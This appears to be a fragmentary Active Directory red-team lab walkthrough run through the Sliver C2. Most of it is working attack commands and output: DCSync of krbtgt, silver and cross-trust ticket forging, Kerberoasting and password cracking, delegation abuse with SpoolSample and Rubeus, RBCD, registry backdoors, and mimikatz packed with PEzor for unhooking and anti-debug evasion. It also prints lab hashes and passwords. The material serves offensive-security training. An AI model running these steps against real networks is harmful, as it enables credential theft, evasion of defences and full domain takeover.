[*] Active beacon dcorp-std_https (f8865911-780e-4f78-9fcf-a521f0b16aa2)
• If yes, execute the DCSync attack to pull hashes of the krbtgt user.
• If no, add the replication rights for the studentX and execute the DCSync attack to pull hashes of
the krbtgt user.
[*] Output:
doIGTTCCBkmgA[snip]
[*] base64(ticket.kirbi):
doIGZjCCBmKgAwIB[snip]
[*] Output:
mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
lm - 0: ea03581a1268674a828bde6ab09db837
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd
[snip]
• Retrieve machine account hash from dcorp-dc without using administrator access and use that to
execute a Silver Ticket attack to get code execution with WMI.
• PS2EXE.ps1:
https://raw.githubusercontent.com/MScholtes/PS2EXE/master/Module/ps2exe.ps1
The idea is to make RACE.ps1 an executable script rather than just a module script by appending
commands at the end of the module script making it executable. Next, we use PS2EXE.ps1 to convert
the new RACEex.ps1 into a C# .NET x86-x64 assembly compatible to be run by execute-assembly in
Sliver.
To enable WMI rights to allow dcorp\studentX access over a specific namespace on dcorp-dc we use the
following command from RACE.ps1.
Set-RemoteWMI -SamAccountName studentX -ComputerName dcorp-dc.dollarcorp.mone
ycorp.local -namespace 'root\cimv2' -Verbose
To enable PSRemoting rights to allow dcorp\studentX access over a specific namespace on dcorp-dc we
use the following command from RACE.ps1.
Set-RemotePSRemoting -SamAccountName "studentX" -ComputerName "dcorp-dc.dolla
rcorp.moneycorp.local" -Verbose
We create 2 executable scripts - RACEEx.ps1 and RACEExRem.ps1, namely one to add the rights and the
other to remove them. Copy Race.ps1 and rename the 2 copies to create the above ps1 files using
RACE.ps1 as a base template including all required modules.
PS C:\Windows\System32> copy C:\AD\Tools\RACE.ps1 C:\AD\Tools\RACEEx.ps1
PS C:\Windows\System32> copy C:\AD\Tools\RACE.ps1 C:\AD\Tools\RACEExRem.ps1
Append the following lines (at the end) to RACEex.ps1 to add WMI and PSRemoting rights and save it.
Similarly, append the following lines (at the end) to RACEExRem.ps1 to remove the added WMI and
PSRemoting rights and save it.
Set-RemotePSRemoting -SamAccountName studentX -ComputerName dcorp-dc.dollarco
rp.moneycorp.local -Remove -Verbose;
Next, spawn a PowerShell administrator prompt and convert both these ps1 files to a C# .NET x86-x64
assembly using PS2EXE.ps1 as follows.
PS C:\Windows\system32> .\ps2exe.ps1 -inputFile C:\AD\Tools\RACEex.ps1 -outpu
tFile C:\AD\Tools\RACEex.exe -x64 -sta
Usage:
.\ps2exe.ps1 [-inputFile] <file_name> [-outputFile] <file_name> [-verbose] [-
debug]
-x64 = Compile for 64-bit runtime only
-sta = Single Thread Apartment Mode
It is also possible to perform this conversion with its GUI wrapper alternative called Win-PS2EXE.exe.
Finally, lets execute RACEex.exe with execute-assembly as follows to add WMI and PSRemoting rights to
our studentuser. Before doing so make sure to impersonate dcorp\svcadmin to get sufficient privileges
and make sure to purge the ticket after use.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'C:\windows\s
ystem32\taskhostw.exe' -t 80 /mnt/c/AD/Tools/Rubeus.exe 'asktgt /user:svcadmi
n /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /o
psec /show /ptt'
[*] Output:
VERBOSE: Existing ACL for namespace root\cimv2 is O:BAG:BAD:(A;CIID;CCDCLCSWR
PWPRCWD;;;BA)(A;CIID;CCDCRP;;;NS)(A;CIID;CCDCRP;;;LS)(A;CIID;CCDCRP;;;AU)
VERBOSE: Existing ACL for DCOM is O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;
WD)(A;;CCDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)
VERBOSE: New ACL for namespace root\cimv2 is O:BAG:BAD:(A;CIID;CCDCLCSWRPWPRC
WD;;;BA)(A;CIID;CCDCRP;;;NS)(A;CIID;CCDCRP;;;LS)(A;CIID;CCDCRP;;;AU)(A;CI;CCD
CLCSWRPWPRCWD;;;S-1-5-21-1874506631-3219952063-538504511-52621)
VERBOSE: New ACL for DCOM O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;WD)(A;;C
CDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)(A;;CCDCLCSWRP;;
;S-1-5-21-1874506631-3219952063-538504511-52621)
ERROR: Processing data for a remote command failed with the following error m
essage: The I/O operation has been aborted because of either a thread exit or
an application request. For more information, see the about_Remote_Troublesh
ooting Help topic.
Finally re-impersonate our studentX user and test PSRemoting access using Stracciatella as follows. You
can alternately test this from a standard PowerShell prompt.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'C:\windows\s
ystem32\taskhostw.exe' -t 80 /mnt/c/AD/Tools/Rubeus.exe 'asktgt /user:student
X /password:JPIzbuWHdSfq9NFr /show /ptt'
doIGKTCCBiWgAwIBBaE[snip]
ServiceName : krbtgt/dollarcorp.moneycorp.local
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : studentX
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 2/14/2024 7:34:17 AM
EndTime : 2/14/2024 5:34:17 PM
RenewTill : 2/21/2024 7:34:17 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : rc4_hmac
Base64(key) : 2gJVuqHGi+XOzlt1YgZF8g==
ASREP (key) : 8595D70A3C150218B35AB4C32A0CF3C8
[*] Output:
studentX
[*] Output:
VERBOSE: Existing ACL for namespace root\cimv2 is O:BAG:BAD:(A;CI;CCDCLCSWRPW
PRCWD;;;S-1-5-21-1874506631-3219952063-538504511-52621)(A;CI;CCDCLCSWRPWPRCWD
;;;S-1-5-21-1874506631-3219952063-538504511-52621)(A;CIID;CCDCLCSWRPWPRCWD;;;
BA)(A;CIID;CCDCRP;;;NS)(A;CIID;CCDCRP;;;LS)(A;CIID;CCDCRP;;;AU)
VERBOSE: Existing ACL for DCOM is O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;
WD)(A;;CCDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)(A;;CCDC
LCSWRP;;;S-1-5-21-1874506631-3219952063-538504511-52621)(A;;CCDCLCSWRP;;;S-1-
5-21-1874506631-3219952063-538504511-52621)
VERBOSE: Removing added entries
VERBOSE: Removing permissions for studentX from ACL for root\cimv2 namespace
VERBOSE: Removing permissions for studentX for DCOM
VERBOSE: The new ACL for namespace root\cimv2 is O:BAG:BAD:(A;CIID;CCDCLCSWRP
WPRCWD;;;BA)(A;CIID;CCDCRP;;;NS)(A;CIID;CCDCRP;;;LS)(A;CIID;CCDCRP;;;AU)
VERBOSE: The new ACL for DCOM is O:BAG:BAD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCSW;;;W
D)(A;;CCDCLCSWRP;;;S-1-5-32-562)(A;;CCDCLCSWRP;;;LU)(A;;CCDCSW;;;AC)
The command to set permissions for dcorp\studentX to retrieve the machine account hash using
RACE.ps1 is as follows.
Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trus
tee studentX -Verbose
The command to retrieve the machine account hash using RACE.ps1 after the permissions are set is as
follows is as follows.
Get-RemoteMachineAccountHash -ComputerName dcorp-dc.dollarcorp.moneycorp.loca
l -Verbose
We create 2 executable scripts - RACEEx1.ps1 and RACEEx2.ps1. Copy RACE.ps1 and rename the copies
to create the two ps1 scripts using it as a base template including all required modules.
PS C:\Windows\system32> copy C:\AD\Tools\RACE.ps1 C:\AD\Tools\RACEEx1.ps1
PS C:\Windows\system32> copy C:\AD\Tools\RACE.ps1 C:\AD\Tools\RACEEx2.ps1
Append the following lines (at the end) to RACEex1.ps1 to set permissions as dcorp\svcadmin to create a
remote backdoor to retrieve the machine account hash as dcorp\studentX. Save the ps1 file.
Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trus
tee studentX -Verbose
Append the following lines to RACEex2.ps1 to retrieve the Machine account hash as dcorp\studentX.
Get-RemoteMachineAccountHash -ComputerName dcorp-dc.dollarcorp.moneycorp.loca
l -Verbose
Next, convert RACEEx1.ps1 and RACEEx2.ps1 and to a C# .NET x86-x64 assembly using PS2EXE.ps1 as
follows.
PS C:\Windows\system32> .\ps2exe.ps1 -inputFile C:\AD\Tools\RACEEx1.ps1 -outp
utFile C:\AD\Tools\RACEEx1.exe -x64 -sta
Execute these binaries with execute-assembly using prior impersonation as follows to add the remote
retrieval permissions and retrieve the machine account hash using studentX permissions as follows.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'C:\windows\s
ystem32\taskhostw.exe' -t 80 /mnt/c/AD/Tools/Rubeus.exe 'asktgt /user:svcadmi
n /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /o
psec /show /ptt'
[*] Output:
[............snip............]
[*] Output:
VERBOSE: Bootkey/SysKey : BAB78ACD91795C983AEF0534E0DB38C7
VERBOSE: LSA Key : BDC807FEC0BB38EB0AE338451573904220F8B69404F719BDDB0
3F8618E84005C
ComputerName MachineAccountHash
------------ ------------------
Use the gathered dcorp-dc machine account hash to craft a silver ticket to access the HOST and RPCSS
service to get WMI execution rights. Start by using rubeus to get and import a ticket for the HOST
service.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p "C:\windows\s
ystem32\taskhostw.exe" -t 45 '/mnt/c/AD/Tools/Rubeus.exe' 'silver /service:ho
st/dcorp-dc.dollarcorp.moneycorp.local /rc4:36abeac4022fa23f94dd8480c67b5e6e
/user:administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-71981581
9-3726368948-3917688648 /ptt'
[............snip..............]
[............snip.... .........]
To test WMI rights over dcorp-dc, we can use sharp-wmi / CIMplant as follows.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\s
ystem32\taskhostw.exe' -t 45 '/mnt/c/AD/Tools/SharpWMI.exe' 'computername=dco
rp-dc.dollarcorp.moneycorp.local action=query query="select * from win32_proc
ess"'
Scope: \\dcorp-dc\root\cimv2
[...................snip.....................]
[*] Output:
An alternative would be to use raw LDAP queries using the --ldap argument and the LDAP filter:
(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)) which filters for all
USER_OBJECT types with the Service Principal Name property enabled. We use the --filter argument to
only return the samaccountname and serviceprincipalname.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p "C:\windows\s
ystem32\taskhostw.exe" -t 45 '/mnt/c/AD/Tools/StandIn.exe' --ldap "(&(objectC
ategory=person)(objectClass=user)(servicePrincipalName=*))" --filter samaccou
ntname,serviceprincipalname
We can then use Rubeus to output these hashes to a text file for cracking later. We can also specify
specific users to Kerberoast using the /user option and Kerberoast all users over a specific OU using the
/ou option.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p "C:\windows\s
ystem32\taskhostw.exe" -t 45 '/mnt/c/AD/Tools/Rubeus.exe' 'kerberoast /user:s
vcadmin /simple /rc4opsec /outfile:C:\AD\Tools\hashes.txt'
We can now use John the Ripper to brute-force the hashes. Please note that you need to remove
":1433" from the SPN in hashes.txt before running John.
$krb5tgs$23$*svcadmin$dollarcorp.moneycorp.local$MSSQLSvc/dcorp-
mgmt.dollarcorp.moneycorp.local:1433* should be
$krb5tgs$23$*svcadmin$dollarcorp.moneycorp.local$MSSQLSvc/dcorp-
mgmt.dollarcorp.moneycorp.local* in hashes.txt
Run the below command in a new PowerShell session after making the above changes.
PS C:\AD\Tools> C:\AD\Tools\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=
C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
*ThisisBlasphemyThisisMadness!! (?)
1g 0:00:00:00 DONE (2023-03-03 09:18) 90.90g/s 186181p/s 186181c/s 186181C/s
energy..mollie
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Output:
[.....snip....]
[*] Output:
___ ____ _____ __
/ | / __ \/ ___/___ ____ ______/ /_
/ /| | / / / /\__ \/ _ \/ __ `/ ___/ __ \
/ ___ |/ /_/ /___/ / __/ /_/ / /__/ / / /
/_/ |_/_____//____/\___/\__,_/\___/_/ /_/
Twitter: @tomcarver_
GitHub: @tomcarver16
Let’s check if anyone of the compromised users have local admin privileges on dcorp-appsrv.
[...........snip............]
ServiceName : krbtgt/dollarcorp.moneycorp.local
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : appadmin
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 1/19/2024 5:37:15 AM
EndTime : 1/19/2024 3:37:15 PM
RenewTill : 1/26/2024 5:37:15 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : rc4_hmac
Base64(key) : BZeppby4CClV2x0lllhSEA==
ASREP (key) : D549831A955FEE51A43C83EFB3928FA7
Checking for local admin access using LACheck we find that we have local admin access to dcorp-appsrv
as dcorp\appadmin.
[*] Output:
[+] Parsed Aguments:
rpc: False
smb: False
winrm: True
/bloodhound: False
/dc:
/domain: dollarcorp.moneycorp.local
/edr: False
/logons: False
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/socket:
/targets:
/threads: 10
/user: appadmin
/verbose: False
[+] Performing LDAP query against dollarcorp.moneycorp.local for all enabled
servers excluding Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 8
Status: (0.00%) 0 computers finished (+0) -- Using 24 MB RAM
[WinRM] Admin Success: DCORP-ADMINSRV.DOLLARCORP.MONEYCORP.LOCAL as appadmin
[WinRM] Admin Success: DCORP-APPSRV.DOLLARCORP.MONEYCORP.LOCAL as appadmin
[+] Finished enumerating hosts
We can now use rubeus and SpoolSample (C# MS-RPRN exploit) to abuse the Printer bug along with
Unconstrained Delegation.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
Upload the NtDropper onto dcorp-appsrv and abuse it using scshell with the wmiprvse service as shown
in previous objectives.
Now that we have a session on dcorp-appsrv we can begin exploiting Unconstrained Delegation. Start
the multiplayer mode to create two live sessions (one on dcorp-appsrv and the other on dcorp-stdX) on
the Sliver C2 to exploit the Printer Bug and capture the TGT in another terminal simultaneously.
[server] sliver (dcorp-std_https) > multiplayer
[*] Multiplayer mode enabled!
Perform the following consecutively, on the dcorp-appsrv (Sliver Client) session run rubeus in harvest
mode which takes the monitor mode one step further to capture TGT’s since the Sliver session tasks
would result in no output if execution occurs beyond the timeout period. rubeus harvest /runfor:<x>
allows to specify how long to run the command and if this is below the Sliver task timeout we should
receive the desired output (Note below timeout : 45 > harvest /runfor: 30 ).
sliver (dcorp-appsrv_tcp) > ps
[......snip......]
4028 2176 NT AUTHORITY\SYSTEM x86_64 svchost.exe 0
1620 1000 NT AUTHORITY\SYSTEM x86_64 svchost.exe
0
[*] Output:
User : DCORP-DC$@DOLLARCORP.MONEYCORP.LOCAL
StartTime : 1/19/2024 7:08:57 AM
EndTime : 1/19/2024 5:08:57 PM
RenewTill : 1/24/2024 7:37:45 AM
Flags : name_canonicalize, pre_authent, renewable, forward
ed, forwardable
Base64EncodedTicket :
doIGRTCCBkGgAwIBBaEDAgE[....snip.....]
And in the other dcorp-stdX session (Sliver server) immediately perform the MS-RPRN exploit using
SpoolSample.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'C:\windows\s
ystem32\taskhostw.exe' -t 20 '/mnt/c/AD/Tools/SpoolSample.exe' 'dcorp-dc.doll
arcorp.moneycorp.local dcorp-appsrv.dollarcorp.moneycorp.local'
[*] Output:
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
On the dcorp-appsrv session (Sliver client) copy the base64 encoded ticket and convert it to a ticket,
then use it along with rubeus to Pass the Ticket.
[*] Output:
mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
** SAM ACCOUNT **
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
[..............snip................]
Setup rubeus as before in the dcorp-appsrv session (Sliver client) to capture the mcorp-dc$ TGT.
sliver (dcorp-appsrv_tcp) > execute-assembly -P 1620 -p 'C:\windows\system32\
taskhostw.exe' -t 60 '/mnt/c/AD/Tools/Rubeus.exe' 'harvest /runfor:30 /interv
al:8 /nowrap /targetuser:MCORP-DC$'
User : MCORP-DC$@MONEYCORP.LOCAL
StartTime : 1/19/2024 7:06:30 AM
EndTime : 1/19/2024 5:06:30 PM
RenewTill : 1/24/2024 7:36:04 AM
Flags : name_canonicalize, pre_authent, renewable, forward
ed, forwardable
Base64EncodedTicket :
doIFVjCCBVKgAw[.....snip....]Gw9NT05FWUNPUlAuTE9DQUw=
Simultaneously, in the dcorp-stdX session (Sliver server) perform the MS-RPRN exploit using
SpoolSample same as before.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'C:\windows\s
ystem32\taskhostw.exe' -t 20 '/mnt/c/AD/Tools/SpoolSample.exe' 'mcorp-dc.mone
ycorp.local dcorp-appsrv.dollarcorp.moneycorp.local'
[*] Output:
[+] Converted DLL to shellcode
In a new Ubuntu WSL prompt, now create a .NET mimikatz binary to perform a dcsync on mcorp
(lsadump::dcsync /user:mcorp\krbtgt /domain:moneycorp.local) as follows.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/PEzor/
wsluser@dcorp-studentX:/mnt/c/AD/Tools/PEzor$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
---------------------------------------------------------------------------
[?] Unhook enabled
[?] Anti-debug enabled
[?] Fluctuate: NA
[?] Output format: dotnet
[?] Waiting 5 seconds before executing the payload
[?] Processing /mnt/c/AD/Tools/PEzor/mimikatz.exe
[?] PE detected: /mnt/c/AD/Tools/PEzor/mimikatz.exe: PE32+ executable (consol
e) x86-64, for MS Windows
[?] Building .NET executable
[?] Executing donut
root@dcorp-studentX:/mnt/c/AD/Tools/PEzor# mv /mnt/c/AD/Tools/PEzor/mimikatz.
exe.packed.dotnet.exe /mnt/c/AD/Tools/PEzor/mimikatz-dcsync-mcorp.exe.packed.
dotnet.exe
Use Rubeus to import and Pass the Ticket from the Rubeus output.
[*] Output:
** SAM ACCOUNT **
Credentials:
Hash NTLM: a0981492d5dfab1ae0b97b51ea895ddf
[snip]
Exit from the Sliver Client using the exit command and continue exploitation using the primary Sliver
server dcorp-stdX session.
• For such a user, request a TGT from the DC and obtain a TGS for the service to which delegation is
configured.
Enumerate computer accounts in the domain for which Constrained Delegation is enabled.
[*] Output:
[?] Found 2 object(s) with constrained delegation..
[*] SamAccountName : DCORP-ADMINSRV$
DistinguishedName : CN=DCORP-ADMINSRV,OU=Applocked,DC=dollarcorp,D
C=moneycorp,DC=local
msDS-AllowedToDelegateTo : TIME/dcorp-dc.dollarcorp.moneycorp.LOCAL
TIME/dcorp-DC
Protocol Transition : True
userAccountControl : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTHENTI
CATE_FOR_DELEGATION
[......snip......]
[*] Output:
___ ____ _____ __
/ | / __ \/ ___/___ ____ ______/ /_
/ /| | / / / /\__ \/ _ \/ __ `/ ___/ __ \
/ ___ |/ /_/ /___/ / __/ /_/ / /__/ / / /
/_/ |_/_____//____/\___/\__,_/\___/_/ /_/
GitHub: @tomcarver16
[*] No domain supplied. This PCs domain will be used instead
[*] LDAP://DC=dollarcorp,DC=moneycorp,DC=local
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 1
[
{
"cn": "web svc",
"dnshostname": null,
"samaccountname": "websvc",
"msds-allowedtodelegateto": [
"CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL",
"CIFS/dcorp-mssql"
]
}
]
Abuse Constrained Delegation using the hash of dcorp\websvc with rubeus as follows.
[server] sliver (dcorp-std_https) > execute-assembly -t 40 -P 2396 -p "C:\win
dows\system32\taskhostw.exe" '/mnt/c/AD/Tools/Rubeus.exe' 's4u /user:websvc /
aes256:2d84a12f614ccbf3d716b8339cbbe1a650e5fb352edc8e879470ade07e5412d7 /impe
rsonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.LOC
AL" /ptt'
doIFbjCCBWqgAwI[..........snip............]
doIF1DCCBdCgA[..........snip............]
[..........snip.........]
[*] Output:
[.....snip.....]
[*] Output:
___ ____ _____ __
/ | / __ \/ ___/___ ____ ______/ /_
/ /| | / / / /\__ \/ _ \/ __ `/ ___/ __ \
/ ___ |/ /_/ /___/ / __/ /_/ / /__/ / / /
/_/ |_/_____//____/\___/\__,_/\___/_/ /_/
Twitter: @tomcarver_
GitHub: @tomcarver16
Since there is no validation for the SPN specified in S4U we can abuse Constrained Delegation using the
hash of dcorp-adminsrv$ with rubeus to gain access to an alternate service such as LDAP since the TIME
service isn’t too useful for command execution.
NOTE: It is advised to the /aes256 hash instead of the standard /rc4 option for better OPSEC.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p "C:\windows\s
ystem32\taskhostw.exe" -t 40 '/mnt/c/AD/Tools/Rubeus.exe' 's4u /user:dcorp-ad
minsrv$ /rc4:b5f451985fd34d58d5120816d31b5565 /impersonateuser:Administrator
/msdsspn:time/dcorp-dc /altservice:ldap /ptt'
doIF4zCCBd+gAwIBB[.....snip.....]
doIGAzCCBf+gAwIBBaE[.....snip.....]
doIHGTCCBxWgAwIBBa[.....snip.....]
[*] Output:
mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
** SAM ACCOUNT **
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
[*] Output:
[....snip....]
[*] Output:
This is the current domain: dollarcorp.moneycorp.local
The LDAP search base is LDAP://DC=dollarcorp,DC=moneycorp,DC=local
LDAP://dollarcorp.moneycorp.local:636
You want to search all trusted domains and forests!
The current forest is: moneycorp.local
[snip]
Enumerate ACLs...
Checking for ACLs with RBCD...
Number of possible RBCD ACLs: 1
RBCD ACL:
Source: ciadmin
Source Domain: dollarcorp.moneycorp.local
Destination: dcorp-mgmt.dollarcorp.moneycorp.local
Privilege: GenericWrite
Get-RBCD-Threaded:
-d|-domain FQDN domain to authentication to
[*] Output:
doIGAjCCBf6gAwIBB[snip]
ServiceName : krbtgt/DOLLARCORP.MONEYCORP.LOCAL
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : svcadmin
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 1/15/2024 6:30:41 AM
EndTime : 1/15/2024 4:30:41 PM
RenewTill : 1/22/2024 6:30:41 AM
Remotely dump SAM using sharpsecdump we find dcorp\ciadmin credentials in Plaintext. We can use
these credentials to abuse the RBCD attack.
[server] sliver (dcorp-std_https) > sharpsecdump -P 2396 -p "C:\windows\syste
m32\taskhostw.exe" -t 60 '' "-target=dcorp-ci"
To abuse RBCD, we need a computer object to allow delegation rights. Creating a new computer isn’t as
[*] Output:
Next use this SID to set RBCD delegation as dcorp\ciadmin over the dcorp-stdX machine account using
StandIn.
NOTE: If we do not have explicit credentials, it is possible to complete this attack using other prior
impersonation techniques as showcased in other objectives.
[*] Output:
Dump AES Keys using mimikatz-ekeys.exe.packed.dotnet.exe binary in the elevated session as follows.
[server] sliver (dcorp-std_https) > execute-assembly -P 2160 -p 'C:\windows\s
ystem32\wbem\WmiApSrv.exe' -t 180 '/mnt/c/AD/Tools/PEzor/mimikatz-ekeys.exe.p
acked.dotnet.exe'
[*] Output:
[........snip........]
* Username : DCORP-STUDENTX$
* Domain : dollarcorp.moneycorp.local
* Password : #pn3 0/L.zNUNUZ:wHgzL6022d=fTSJKtXaUxBP%B@<`0JDuSf,W5q"
O@fpB!(c<1BXAvL-jo<nW`*DY!Q%$[o#$cLDgh/a2OOx,P1inI'V_7T^:5ZrZuIz/
* Key List :
des_cbc_md4 29a28164bb26ba3a79408bb1248bceee76c5bb8cb777bdde
af0f67500bbacb05
des_cbc_md4 d642f13e46cce541c9c0096311ee28a3
des_cbc_md4 3183f0e26d1bdd471b68b6c9edd873b5
des_cbc_md4 3183f0e26d1bdd471b68b6c9edd873b5
des_cbc_md4 3183f0e26d1bdd471b68b6c9edd873b5
des_cbc_md4 3183f0e26d1bdd471b68b6c9edd873b5
des_cbc_md4 3183f0e26d1bdd471b68b6c9edd873b5
Switch back to the primary dcorp\studentX session and use rubeus along with the dcorp-stdX$ hash to
abuse the RBCD rights to access CIFS on dcorp-mgmt as a Domain Administrator - dcorp\administrator.
[server] sliver (dcorp-std_https) > sessions -i 82c659f8
[*] Active session dcorp-std_https (82c659f8)
[*] base64(ticket.kirbi):
doIFqjCCBaagAw[..............snip..........]
[*] Action: S4U
[*] Using domain controller: dcorp-dc.dollarcorp.moneycorp.local (172.16.2.1)
[*] Building S4U2self request for: 'dcorp-stdX$@DOLLARCORP.MONEYCORP.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator' to 'dcorp-stdX$@DOLLARCORP.MONEYCORP.LOCAL'
[*] base64(ticket.kirbi):
doIF/zCCBfugAw[..............snip..........]
[..........snip.......]
[*] Output:
To do so we first impersonate the Domain Admin found earlier using Rubeus as follows.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'C:\windows\s
ystem32\taskhostw.exe' -t 80 /mnt/c/AD/Tools/Rubeus.exe 'asktgt /user:svcadmi
n /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /o
psec /show /ptt'
[*] Output:
doIGAjCCBf6gAwIBB[snip]
Use PEzor in a new Ubuntu WSL prompt to create a compatible .NET mimikatz binary to perform a
DCSync and retrieve the dcorp\mcorp$ Trust key: "lsadump::dcsync /user:dcorp\mcorp$
/domain:dollarcorp.moneycorp.local" "exit".
wsluser@dcorp-studentX:~$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
root@dcorp-studentX:/mnt/c/AD/Tools/PEzor# mv /mnt/c/AD/Tools/PEzor/mimikatz.
exe.packed.dotnet.exe /mnt/c/AD/Tools/PEzor/mimikatz-dcsync-trustkey.exe.pack
ed.dotnet.exe
[*] Output:
** SAM ACCOUNT **
Credentials:
Hash NTLM: 4312d947e30071bf8857ded56876e212
ntlm- 0: 4312d947e30071bf8857ded56876e212
ntlm- 1: 568d8db72d996cd37f962a8a08b0af00
ntlm- 2: 568d8db72d996cd37f962a8a08b0af00
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgtmcorp
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 7c66d95a09e42a74068694b9120672863ae78ae0b3c2
ddd894552579288a907f
[snip]
We can now use the trust key to forge a cross trust ticket using Rubeus and use it for authentication to
gain a service ticket to a target such as CIFS as follows.
[server] sliver (dcorp-std_https) > inline-execute-assembly -t 40 '/mnt/c/AD/
Tools/Rubeus.exe' 'silver /user:Administrator /ldap /service:krbtgt/DOLLARCOR
P.MONEYCORP.LOCAL /rc4:4312d947e30071bf8857ded56876e212 /sids:S-1-5-21-719815
819-3726368948-3917688648-519 /nowrap'
[*] Output:
[*] base64(ticket.kirbi):
doIGFjCCBhKgAw[snip]
ServiceName : CIFS/mcorp-dc.MONEYCORP.LOCAL
Use rubeus to request a TGT as dcorp\svcadmin (domain administrator) to get Domain admin rights.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'C:\windows\s
ystem32\taskhostw.exe' -t 80 /mnt/c/AD/Tools/Rubeus.exe 'asktgt /user:svcadmi
n /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /o
psec /show /ptt'
[*] Output:
doIGAjCCBf6gAwIBB[snip]
[*] Output:
mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
** SAM ACCOUNT **
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd
* Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 154cb6624b1d859f7080a6615adc488f09f92843879b
3d914cbcb5a8c3cda848
[*] base64(ticket.kirbi):
doIGZDCCBmCgA[snip]
Note: Because of SID filtering we cannot abuse SID history injection attacks, we would rather gain
whatever privileges the current user (Enterprise admin) in the moneycorp forest has in the trusted
eurocorp forest. We cannot escalate to Enterprise Admins directly as before but can use these privileges
to access specifically shared resources and shares.
To retrieve the dcorp\ecorp$ trust key, spawn a new Ubuntu prompt and use PEzor to create a
compatible .NET mimikatz binary with arguments for execution: "privilege::debug" "lsadump::trust
/patch" "exit".
wsluser@dcorp-studentX:~$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
root@dcorp-studentX:/home/wsluser# cd /mnt/c/AD/Tools/PEzor/
root@dcorp-studentX:/mnt/c/AD/Tools/PEzor# mv /mnt/c/AD/Tools/PEzor/mimikatz.
exe.packed.dotnet.exe /mnt/c/AD/Tools/PEzor/mimikatz-trustkey.exe.packed.dotn
et.exe
[*] Output:
[snip]
